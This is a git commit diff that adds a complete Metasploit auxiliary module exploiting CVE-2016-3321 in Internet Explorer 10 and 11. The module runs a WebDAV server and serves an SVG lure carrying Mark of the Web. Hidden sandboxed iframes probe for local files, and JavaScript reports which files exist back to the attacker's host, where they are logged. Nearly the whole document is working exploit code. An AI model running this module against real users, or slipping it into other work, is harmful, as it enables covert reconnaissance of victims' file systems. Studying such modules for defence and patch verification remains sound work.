Internet Explorer iframe sandbox local file name disclosure vulnerability
It was found that Internet Explorer allows the disclosure of local file names. This issue exists due to the fact that Internet Explorer behaves different for file:// URLs pointing to existing and non-existent files. When used in combination with HTML5 sandbox iframes it is possible to use this behavior to find out if a local file exists. This technique only works on Internet Explorer 10 & 11 since these support the HTML5 sandbox. Also it is not possible to do this from a regular website as file:// URLs are blocked all together. The attack must be performed locally (works with Internet zone Mark of the Web) or from a share.bug/bundler_fix
parent
a848d3948c
commit
79a84fb320
|
@ -0,0 +1,380 @@
|
|||
require 'msf/core'
|
||||
|
||||
class MetasploitModule < Msf::Auxiliary
|
||||
|
||||
include Msf::Exploit::Remote::HttpServer::HTML
|
||||
def initialize(info={})
|
||||
super(update_info(info,
|
||||
'Name' => 'Internet Explorer Iframe Sandbox File Name Disclosure Vulnerability',
|
||||
'Description' => %q{
|
||||
It was found that Internet Explorer allows the disclosure of local file names.
|
||||
This issue exists due to the fact that Internet Explorer behaves different for
|
||||
file:// URLs pointing to existing and non-existent files. When used in
|
||||
combination with HTML5 sandbox iframes it is possible to use this behavior to
|
||||
find out if a local file exists. This technique only works on Internet Explorer
|
||||
10 & 11 since these support the HTML5 sandbox. Also it is not possible to do
|
||||
this from a regular website as file:// URLs are blocked all together. The attack
|
||||
must be performed locally (works with Internet zone Mark of the Web) or from a
|
||||
share.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' => 'Yorick Koster',
|
||||
'References' =>
|
||||
[
|
||||
['CVE', '2016-3321'],
|
||||
['MSB', 'MS16-095'],
|
||||
['URL', 'https://securify.nl/advisory/SFY20160301/internet_explorer_iframe_sandbox_local_file_name_disclosure_vulnerability.html'],
|
||||
],
|
||||
'Platform' => 'win',
|
||||
'Targets' =>
|
||||
[
|
||||
[ 'Internet Explorer', {} ],
|
||||
],
|
||||
'DisclosureDate' => "Aug 9 2016",
|
||||
'DefaultTarget' => 0))
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptString.new('SHARENAME', [ true, "The name of the top-level share.", "falcon" ]),
|
||||
OptPort.new('SRVPORT', [ true, "The daemon port to listen on (do not change)", 80 ]),
|
||||
OptString.new('URIPATH', [true, "The URI to use (do not change).", "/" ]),
|
||||
OptString.new('PATHS', [ true, "The list of files to check (comma separated).", "Testing/Not/Found/Check.txt, Windows/System32/calc.exe, Program Files (x86)/Mozilla Firefox/firefox.exe, Program Files/VMware/VMware Tools/TPAutoConnSvc.exe" ]),
|
||||
], self.class)
|
||||
|
||||
deregister_options('SSL', 'SSLVersion', 'SSLCert') # no SSL
|
||||
end
|
||||
|
||||
def js
|
||||
my_host = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']
|
||||
|
||||
%Q|function report() {
|
||||
if(window.location.protocol != 'file:') {
|
||||
try {
|
||||
window.location.href = 'file://#{my_host}/#{datastore['SHARENAME']}/index.html';
|
||||
} catch (e) { }
|
||||
return;
|
||||
}
|
||||
|
||||
var frames = document.getElementsByTagName('iframe');
|
||||
for(var i = 0; i < frames.length; i++) {
|
||||
try {
|
||||
if(frames[i].name == 'notfound') {
|
||||
frames[i].src = 'http://#{my_host}/notfound/?f=' + frames[i].src;
|
||||
}
|
||||
else {
|
||||
frames[i].src = 'http://#{my_host}/found/?f=' + frames[i].src;
|
||||
}
|
||||
} catch(e) { }
|
||||
}
|
||||
}|
|
||||
end
|
||||
|
||||
def html
|
||||
frames = ""
|
||||
datastore['PATHS'].split(',').each do |path|
|
||||
frames = frames + "<iframe src=\"file:///#{path.strip}\" onload=\"this.name='notfound'\" style=\"display:none;\" sandbox></iframe>"
|
||||
end
|
||||
%Q|<!DOCTYPE html>
|
||||
<html>
|
||||
<head>
|
||||
<script type="text/javascript">
|
||||
#{js}
|
||||
</script>
|
||||
</head>
|
||||
<body>
|
||||
#{frames}
|
||||
<script type="text/javascript">
|
||||
setTimeout('report();', 2000);
|
||||
</script>
|
||||
</body>
|
||||
</html>|
|
||||
end
|
||||
|
||||
def svg
|
||||
my_host = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']
|
||||
%Q|<!-- saved from url=(0014)about:internet -->
|
||||
<svg width="100px" height="100px" version="1.1" onload="try{ location.href = 'file://#{my_host}/#{datastore['SHARENAME']}/index.html'; } catch(e) { }" xmlns="http://www.w3.org/2000/svg"></svg>|
|
||||
end
|
||||
|
||||
def is_target_suitable?(user_agent)
|
||||
if user_agent =~ /^Microsoft-WebDAV-MiniRedir/
|
||||
return true
|
||||
end
|
||||
|
||||
info = fingerprint_user_agent(user_agent)
|
||||
if info[:ua_name] == HttpClients::IE
|
||||
return true
|
||||
end
|
||||
|
||||
false
|
||||
end
|
||||
|
||||
def on_request_uri(cli, request)
|
||||
my_host = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']
|
||||
|
||||
case request.method
|
||||
when 'OPTIONS'
|
||||
process_options(cli, request)
|
||||
when 'PROPFIND'
|
||||
process_propfind(cli, request)
|
||||
when 'GET'
|
||||
unless is_target_suitable?(request.headers['User-Agent'])
|
||||
print_status("GET #{request.uri} #{request.headers['User-Agent']} => 200 image.svg")
|
||||
resp = create_response(200, "OK")
|
||||
resp.body = svg
|
||||
resp['Content-Type'] = 'image/svg+xml'
|
||||
resp['Content-Disposition'] = 'attachment;filename=image.svg'
|
||||
cli.send_response(resp)
|
||||
end
|
||||
|
||||
case request.uri
|
||||
when /^\/found\/\?f=/
|
||||
f = URI.unescape(request.uri.gsub('/found/?f=', ''))
|
||||
report_note(host: cli.peerhost, type: 'ie.filenames', data: f)
|
||||
print_good("Found file " + f)
|
||||
send_response(cli, '')
|
||||
when /^\/notfound\/\?f=/
|
||||
f = URI.unescape(request.uri.gsub('/notfound/?f=', ''))
|
||||
print_error("The file " + f + " does not exist")
|
||||
send_response(cli, '')
|
||||
when "/"
|
||||
resp = create_response(200, "OK")
|
||||
resp.body = %Q|<html>
|
||||
<head>
|
||||
<script type="text/javascript">
|
||||
try {
|
||||
window.location.href = 'file://#{my_host}/#{datastore['SHARENAME']}/index.html';
|
||||
} catch (e) {
|
||||
blob = new Blob([atob('#{Rex::Text.encode_base64(svg)}')]);
|
||||
window.navigator.msSaveOrOpenBlob(blob, 'image.svg');
|
||||
}
|
||||
</script>
|
||||
</head>
|
||||
<body>
|
||||
</body>
|
||||
</html>|
|
||||
resp['Content-Type'] = 'text/html'
|
||||
cli.send_response(resp)
|
||||
else
|
||||
print_status("GET #{request.uri} #{request.headers['User-Agent']} => 200 returning landing page")
|
||||
send_response(cli, html)
|
||||
end
|
||||
else
|
||||
print_status("#{request.method} #{request.uri} => 404")
|
||||
resp = create_response(404, "Not Found")
|
||||
resp.body = ""
|
||||
resp['Content-Type'] = 'text/html'
|
||||
cli.send_response(resp)
|
||||
end
|
||||
end
|
||||
|
||||
#
|
||||
# OPTIONS requests sent by the WebDav Mini-Redirector
|
||||
#
|
||||
def process_options(cli, request)
|
||||
print_status("OPTIONS #{request.uri}")
|
||||
headers = {
|
||||
'MS-Author-Via' => 'DAV',
|
||||
'DASL' => '<DAV:sql>',
|
||||
'DAV' => '1, 2',
|
||||
'Allow' => 'OPTIONS, TRACE, GET, HEAD, DELETE, PUT, POST, COPY, MOVE, MKCOL, PROPFIND, PROPPATCH, LOCK, UNLOCK, SEARCH',
|
||||
'Public' => 'OPTIONS, TRACE, GET, HEAD, COPY, PROPFIND, SEARCH, LOCK, UNLOCK',
|
||||
'Cache-Control' => 'private'
|
||||
}
|
||||
resp = create_response(207, "Multi-Status")
|
||||
headers.each_pair {|k,v| resp[k] = v }
|
||||
resp.body = ""
|
||||
resp['Content-Type'] = 'text/xml'
|
||||
cli.send_response(resp)
|
||||
end
|
||||
|
||||
#
|
||||
# PROPFIND requests sent by the WebDav Mini-Redirector
|
||||
#
|
||||
def process_propfind(cli, request)
|
||||
path = request.uri
|
||||
print_status("PROPFIND #{path}")
|
||||
body = ''
|
||||
|
||||
my_host = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']
|
||||
my_uri = "http://#{my_host}/"
|
||||
|
||||
if path !~ /\/$/
|
||||
|
||||
if path.index(".")
|
||||
print_status "PROPFIND => 207 File (#{path})"
|
||||
body = %Q|<?xml version="1.0" encoding="utf-8"?>
|
||||
<D:multistatus xmlns:D="DAV:" xmlns:b="urn:uuid:c2f41010-65b3-11d1-a29f-00aa00c14882/">
|
||||
<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">
|
||||
<D:href>#{path}</D:href>
|
||||
<D:propstat>
|
||||
<D:prop>
|
||||
<lp1:resourcetype/>
|
||||
<lp1:creationdate>#{gen_datestamp}</lp1:creationdate>
|
||||
<lp1:getcontentlength>#{rand(0x100000)+128000}</lp1:getcontentlength>
|
||||
<lp1:getlastmodified>#{gen_timestamp}</lp1:getlastmodified>
|
||||
<lp1:getetag>"#{"%.16x" % rand(0x100000000)}"</lp1:getetag>
|
||||
<lp2:executable>T</lp2:executable>
|
||||
<D:supportedlock>
|
||||
<D:lockentry>
|
||||
<D:lockscope><D:exclusive/></D:lockscope>
|
||||
<D:locktype><D:write/></D:locktype>
|
||||
</D:lockentry>
|
||||
<D:lockentry>
|
||||
<D:lockscope><D:shared/></D:lockscope>
|
||||
<D:locktype><D:write/></D:locktype>
|
||||
</D:lockentry>
|
||||
</D:supportedlock>
|
||||
<D:lockdiscovery/>
|
||||
<D:getcontenttype>application/octet-stream</D:getcontenttype>
|
||||
</D:prop>
|
||||
<D:status>HTTP/1.1 200 OK</D:status>
|
||||
</D:propstat>
|
||||
</D:response>
|
||||
</D:multistatus>
|
||||
|
|
||||
# send the response
|
||||
resp = create_response(207, "Multi-Status")
|
||||
resp.body = body
|
||||
resp['Content-Type'] = 'text/xml; charset="utf8"'
|
||||
cli.send_response(resp)
|
||||
return
|
||||
else
|
||||
print_status "PROPFIND => 301 (#{path})"
|
||||
resp = create_response(301, "Moved")
|
||||
resp["Location"] = path + "/"
|
||||
resp['Content-Type'] = 'text/html'
|
||||
cli.send_response(resp)
|
||||
return
|
||||
end
|
||||
end
|
||||
|
||||
print_status "PROPFIND => 207 Directory (#{path})"
|
||||
body = %Q|<?xml version="1.0" encoding="utf-8"?>
|
||||
<D:multistatus xmlns:D="DAV:" xmlns:b="urn:uuid:c2f41010-65b3-11d1-a29f-00aa00c14882/">
|
||||
<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">
|
||||
<D:href>#{path}</D:href>
|
||||
<D:propstat>
|
||||
<D:prop>
|
||||
<lp1:resourcetype><D:collection/></lp1:resourcetype>
|
||||
<lp1:creationdate>#{gen_datestamp}</lp1:creationdate>
|
||||
<lp1:getlastmodified>#{gen_timestamp}</lp1:getlastmodified>
|
||||
<lp1:getetag>"#{"%.16x" % rand(0x100000000)}"</lp1:getetag>
|
||||
<D:supportedlock>
|
||||
<D:lockentry>
|
||||
<D:lockscope><D:exclusive/></D:lockscope>
|
||||
<D:locktype><D:write/></D:locktype>
|
||||
</D:lockentry>
|
||||
<D:lockentry>
|
||||
<D:lockscope><D:shared/></D:lockscope>
|
||||
<D:locktype><D:write/></D:locktype>
|
||||
</D:lockentry>
|
||||
</D:supportedlock>
|
||||
<D:lockdiscovery/>
|
||||
<D:getcontenttype>httpd/unix-directory</D:getcontenttype>
|
||||
</D:prop>
|
||||
<D:status>HTTP/1.1 200 OK</D:status>
|
||||
</D:propstat>
|
||||
</D:response>
|
||||
|
|
||||
|
||||
if request["Depth"].to_i > 0
|
||||
trail = path.split("/")
|
||||
trail.shift
|
||||
case trail.length
|
||||
when 0
|
||||
body << generate_shares(path)
|
||||
when 1
|
||||
body << generate_files(path)
|
||||
end
|
||||
else
|
||||
print_status "PROPFIND => 207 Top-Level Directory"
|
||||
end
|
||||
|
||||
body << "</D:multistatus>"
|
||||
|
||||
body.gsub!(/\t/, '')
|
||||
|
||||
# send the response
|
||||
resp = create_response(207, "Multi-Status")
|
||||
resp.body = body
|
||||
resp['Content-Type'] = 'text/xml; charset="utf8"'
|
||||
cli.send_response(resp)
|
||||
end
|
||||
|
||||
def generate_shares(path)
|
||||
share_name = datastore['SHARENAME']
|
||||
%Q|
|
||||
<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">
|
||||
<D:href>#{path}#{share_name}/</D:href>
|
||||
<D:propstat>
|
||||
<D:prop>
|
||||
<lp1:resourcetype><D:collection/></lp1:resourcetype>
|
||||
<lp1:creationdate>#{gen_datestamp}</lp1:creationdate>
|
||||
<lp1:getlastmodified>#{gen_timestamp}</lp1:getlastmodified>
|
||||
<lp1:getetag>"#{"%.16x" % rand(0x100000000)}"</lp1:getetag>
|
||||
<D:supportedlock>
|
||||
<D:lockentry>
|
||||
<D:lockscope><D:exclusive/></D:lockscope>
|
||||
<D:locktype><D:write/></D:locktype>
|
||||
</D:lockentry>
|
||||
<D:lockentry>
|
||||
<D:lockscope><D:shared/></D:lockscope>
|
||||
<D:locktype><D:write/></D:locktype>
|
||||
</D:lockentry>
|
||||
</D:supportedlock>
|
||||
<D:lockdiscovery/>
|
||||
<D:getcontenttype>httpd/unix-directory</D:getcontenttype>
|
||||
</D:prop>
|
||||
<D:status>HTTP/1.1 200 OK</D:status>
|
||||
</D:propstat>
|
||||
</D:response>
|
||||
|
|
||||
end
|
||||
|
||||
def generate_files(path)
|
||||
trail = path.split("/")
|
||||
return "" if trail.length < 2
|
||||
|
||||
%Q|
|
||||
<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">
|
||||
<D:href>#{path}index.html</D:href>
|
||||
<D:propstat>
|
||||
<D:prop>
|
||||
<lp1:resourcetype/>
|
||||
<lp1:creationdate>#{gen_datestamp}</lp1:creationdate>
|
||||
<lp1:getcontentlength>#{rand(0x10000)+120}</lp1:getcontentlength>
|
||||
<lp1:getlastmodified>#{gen_timestamp}</lp1:getlastmodified>
|
||||
<lp1:getetag>"#{"%.16x" % rand(0x100000000)}"</lp1:getetag>
|
||||
<lp2:executable>T</lp2:executable>
|
||||
<D:supportedlock>
|
||||
<D:lockentry>
|
||||
<D:lockscope><D:exclusive/></D:lockscope>
|
||||
<D:locktype><D:write/></D:locktype>
|
||||
</D:lockentry>
|
||||
<D:lockentry>
|
||||
<D:lockscope><D:shared/></D:lockscope>
|
||||
<D:locktype><D:write/></D:locktype>
|
||||
</D:lockentry>
|
||||
</D:supportedlock>
|
||||
<D:lockdiscovery/>
|
||||
<D:getcontenttype>application/octet-stream</D:getcontenttype>
|
||||
</D:prop>
|
||||
<D:status>HTTP/1.1 200 OK</D:status>
|
||||
</D:propstat>
|
||||
</D:response>
|
||||
|
|
||||
end
|
||||
|
||||
def gen_timestamp(ttype=nil)
|
||||
::Time.now.strftime("%a, %d %b %Y %H:%M:%S GMT")
|
||||
end
|
||||
|
||||
def gen_datestamp(ttype=nil)
|
||||
::Time.now.strftime("%Y-%m-%dT%H:%M:%SZ")
|
||||
end
|
||||
|
||||
def run
|
||||
exploit
|
||||
end
|
||||
end
|
Loading…
Reference in New Issue